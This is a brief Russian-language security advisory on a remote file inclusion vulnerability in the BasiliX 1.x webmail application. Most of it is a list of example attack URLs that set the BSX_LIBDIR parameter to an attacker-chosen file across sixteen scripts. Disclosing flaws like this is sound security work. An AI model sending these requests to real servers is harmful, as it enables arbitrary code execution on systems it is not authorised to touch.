Программа: BasiliX 1.x
Уязвимость позволяет удаленному пользователю выполнить произвольный код на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "BSX_LIBDIR" различными сценариями. Успешное эксплуатирование уязвимости требует включение опции "register_globals" в конфигурационном файле PHP.
Примеры:
http://[host]/files/abook.php3?BSX_LIBDIR=[file]
http://[host]/files/compose-attach.php3?BSX_LIBDIR=[file]
http://[host]/files/compose-menu.php3?BSX_LIBDIR=[file]
http://[host]/files/compose-new.php3?BSX_LIBDIR=[file]
http://[host]/files/compose-send.php3?BSX_LIBDIR=[file]
http://[host]/files/folder-create.php3?BSX_LIBDIR=[file]
http://[host]/files/folder-delete.php3?BSX_LIBDIR=[file]
http://[host]/files/folder-rename.php3?BSX_LIBDIR=[file]
http://[host]/files/folders.php3?BSX_LIBDIR=[file]
http://[host]/files/mbox-list.php3?BSX_LIBDIR=[file]
http://[host]/files/message-forward.php3?BSX_LIBDIR=[file]
http://[host]/files/message-print.php3?BSX_LIBDIR=[file]
http://[host]/files/message-reply.php3?BSX_LIBDIR=[file]
http://[host]/files/message-replyall.php3?BSX_LIBDIR=[file]
http://[host]/files/message-search.php3?BSX_LIBDIR=[file]
http://[host]/files/settings.php3?BSX_LIBDIR=[file]
